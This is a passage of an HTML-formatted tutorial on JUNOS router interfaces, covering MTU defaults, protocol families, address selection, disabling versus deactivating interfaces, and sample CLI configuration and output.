<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Common logical interface properties include a protocol family, logical Layer 3 addressing, MTU, and virtual circuit (Layer 2) addressing information. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Logical Properties</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Protocol MTU</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">An MTU value can be configured for each logical unit in the router. The default values vary for each physical media type as well as for the protocol family configured. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Point-to-point interfaces </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">When you’re using an encapsulation type of PPP, Cisco-HDLC, ATM, or Frame Relay, the default MTU for the inet and iso protocols is 4470 bytes. The mpls protocol family uses a value of 4458 bytes. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Broadcast interfaces </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Both a Gigabit Ethernet and a Fast Ethernet interface share the same properties for protocol MTU sizes. The inet family uses 1500 bytes, the iso family uses 1497 bytes, and the mpls family uses 1488 bytes.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <strong><em>interface MTU</em></strong> is the largest size packet able to be sent on the physical media. This value includes all Layer 2 overhead information, such as the destination MAC address on Ethernet, or the labels in an MPLS environment. The Cyclic Redundancy Check (CRC) information is not included in this value, however. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Protocol Families</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Each logical interface in the JUNOS software has the ability to support one or more <em>protocol families</em>. These families enable the logical interface to accept and process data packets for therouter. Without their configuration, the interface drops any unknown transmissions.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Currently four possible protocol families are available for use:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">inet </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Supports IP version 4 (IPv4) packets.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">inet6 </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Supports IP version 6 (IPv6) data packets</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">iso </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The Intermediate System to Intermediate System (IS-IS) routing protocol uses a data link encapsulation defined by the International Standards Organization (ISO). The <em>iso protocol family </em>allows the processing of these packet types.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">mpls </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Support</span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> for processing packets encoded with a Multiprotocol Label Switching (MPLS) label. This label information allows the router to forward the data packet.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Protocol Addresses</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A <em>protocol address </em>is a logical Layer 3 value used to route user packets in a network. For example, an IPv4 address of 192.168.1.1 /24 is a protocol address. The JUNOS software allows addressing for the inet, inet6, and iso protocol families.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The inet family provides the capability to assign multiple addresses to each logical unit, with each address equally represented on the interface.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">primary address </span></em></strong><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">and the <em>preferred address</em></span></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A single <em>primary address </em>is assigned to each interface. By default, it is the lowest numerical IP address configured.Primary address is used as the source address of a packet when the destination address is not local to a configured subnet.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Unlike the primary address, a logical unit may have multiple preferred addresses at the same time. The <em>preferred address </em>is used when an interface has two addresses configured within thesame subnet. The default selection of the preferred address is similar to the primary address in that the lowest numerical prefix is selected.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Disabling/Deactivating Interface</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interfaces within the JUNOS software are automatically enabled for operation when configured in the router. To stop the operation of a particular interface, we may use one of two CLI commands—<em>disable </em>or <em>deactivate</em>. Both halt an interface without removing the current configuration in the router. This allows us to easily restart the interface when needed. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The difference between the commands is how the JUNOS software uses the configuration when the commit command is issued.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the disable command at the [edit interfaces</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">interface-name</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">] hierarchy level allows the router to use the interface configuration. Operationally, the interface is viewed as down, or administratively disabled. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The deactivate command places an inactive tag next to the configuration in the router. As the commit command is issued, the JUNOS software completely ignores the configuration. Operationally, the interface has no configuration</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 80.25pt; text-indent: -0.5in; mso-list: l0 level1 lfo22; tab-stops: list 80.25pt; mso-layout-grid-align: none; mso-outline-level: 1;"><a name="_Toc222215507"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">7.</span><span style="font: 7pt &quot;Times New Roman&quot;;">           </span></span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">CLI COMMANDS FOR INTERFACES</span></span></strong></a><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Useful Interface Commands</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">show interfaces </span></em></strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">int_name<strong> extensive</strong></span></em></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The show interfaces extensive command displays L1,L2 &amp; L3 information about an interface </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">show interfaces </span></em></strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">int_name<strong> terse</strong></span></em></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The show interfaces terse command displays Admin &amp; Link Status information about an interface </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">monitor interface </span></em></strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">int_name<strong></strong></span></em></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The monitor interface <strong><em>interface-name </em></strong>command displays per-second real-time statistics for a physical interface. The output of this command shows how often each field has changed since the command was executed. We can also view common interface failures, such as alarms, errors, or loopback settings. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">clear interfaces statistics</span></em></strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> int_name<strong> </strong></span></em></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Clears the counters on the interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration Examples</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">All interface configurations are completed at the [edit interfaces] hierarchy level. A generic interface configuration looks like this: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">interfaces {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">    </span>interface-name </span></em></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">      </span>physical-properties</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">      </span>unit <strong><em>unit-number </em></strong>{</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">         </span>logical-properties</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">      </span>}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">    </span>}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The Logical properties of the connections will be configured under the Family Unit</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Adding IP Address for ATM Connection </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">at-0/2/0.100</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces at-0/2/0.100]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>set unit 100 family inet address 10.0.1.1/24</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Deleting IP Address for ATM Connection </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">at-0/2/0.100</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces at-0/2/0.100]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>deletes unit 100 family inet address 10.0.1.1/24</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: center;" align="center"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Operational Changes</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Deactivating an interface</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show interfaces so-2/0/0 terse</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface<span style="mso-spacerun: yes;">   </span>Admin<span style="mso-spacerun: yes;">  </span>Link<span style="mso-spacerun: yes;">    </span>Proto<span style="mso-spacerun: yes;">  </span>Local<span style="mso-spacerun: yes;">          </span>Remote</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-2/0/0<span style="mso-spacerun: yes;">    </span>up<span style="mso-spacerun: yes;">       </span>up</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-2/0/0.0 up<span style="mso-spacerun: yes;">       </span>up<span style="mso-spacerun: yes;">       </span>inet<span style="mso-spacerun: yes;">  </span>10.0.2.1/30</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>deactivate so-2/0/0</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>show</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">inactive:</span></em></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> so-2/0/0 {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>activate so-2/0/0</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>show</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-2/0/0 {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Operational Changes</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
